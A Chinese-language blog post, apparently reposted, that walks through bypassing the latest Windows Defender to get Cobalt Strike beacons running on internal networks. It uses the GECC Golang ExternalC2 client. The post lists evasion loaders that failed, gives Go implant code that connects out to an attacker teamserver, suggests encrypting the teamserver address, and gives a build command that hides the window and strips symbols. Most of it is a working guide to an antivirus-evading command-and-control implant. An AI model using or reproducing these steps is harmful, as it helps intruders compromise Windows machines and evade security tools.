写在前面
此前遇到一个最新版的Windows Defender,一直想上Cs打内网方便一点,但是奈何一直绕不过去,大概试了这些方法
|
1. Veil Go/C#/Psh shellcode loader
|
|
2. Floov shellcode loader
|
|
3. GSL shellcode loader
|
|
4. Darkarmour 混淆
|
|
5. Powershell混淆
|
|
6. 等等payload加载器
|
然后最近看文章发现俩个东西(感谢俩位开发者):[出自:jiwo.org]
https://github.com/gloxec/CrossC2
https://github.com/Lz1y/GECC/
这是俩个Cs的ExternalC2,cs除了默认内置的控制方式以外还支持自定义c2的开发
第一个CrossC2是一个支持Linux系统的客户端,不过不太完善支持shell操作
第二个是一个Golang开发的windows的客户端,理论上来说之前通过研究发现Defender拦截的是启动时候的打头马,和上线之后发送的stage,如果使用自定义的c2,那么stage的特征就变了就可以达到绕过Defender等其他Av的目的
修改代码
先修改一下Main.go中的代码,把8.8.8.8改成你自己的teamserver就可以了
|
func main() {
|
|
conn, err := net.Dial("tcp", "8.8.8.8:2222")
|
|
if err != nil {
|
|
println(err.Error())
|
|
return
|
|
}
|
|
a := &SocketChannel{conn, isDebug}
|
|
|
|
stager := a.getStager()
|
我这里修改成了从参数加载,省的以后重新编译了
|
import (
|
|
"encoding/base64"
|
|
"encoding/binary"
|
|
"fmt"
|
|
"log"
|
|
"net"
|
|
"os" //加一个这个
|
|
"runtime"
|
|
"time"
|
|
|
|
"./invokedll"
|
|
. "github.com/microsoft/go-winio"
|
|
)
|
|
....
|
|
func main() {
|
|
conn, err := net.Dial("tcp", os.Args[1])
|
|
//参数还可以做一下加密处理,防止直接看到teamserver的地址
|
然后新建一个cna脚本,端口就是上面的端口
externalc2_start("0.0.0.0",2222)
安装编译
该程序似乎不能跨平台编译,所以需要一台window环境
需要安装:Golang,MingW-w64
然后打开Mingw切换到项目目录编译就可以了
C:\Program Files\mingw-w64\x86_64-8.1.0-posix-seh-rt_v6-rev0\mingw-w64.bat go build -o bin/win.exe -ldflags "-H=windowsgui -s -w" main.go
成功上线
首次上线的时候没有外网IP,还有扫描的时候会掉线,lasttime也不会更新,可以直接spawn一个新的listener就可以了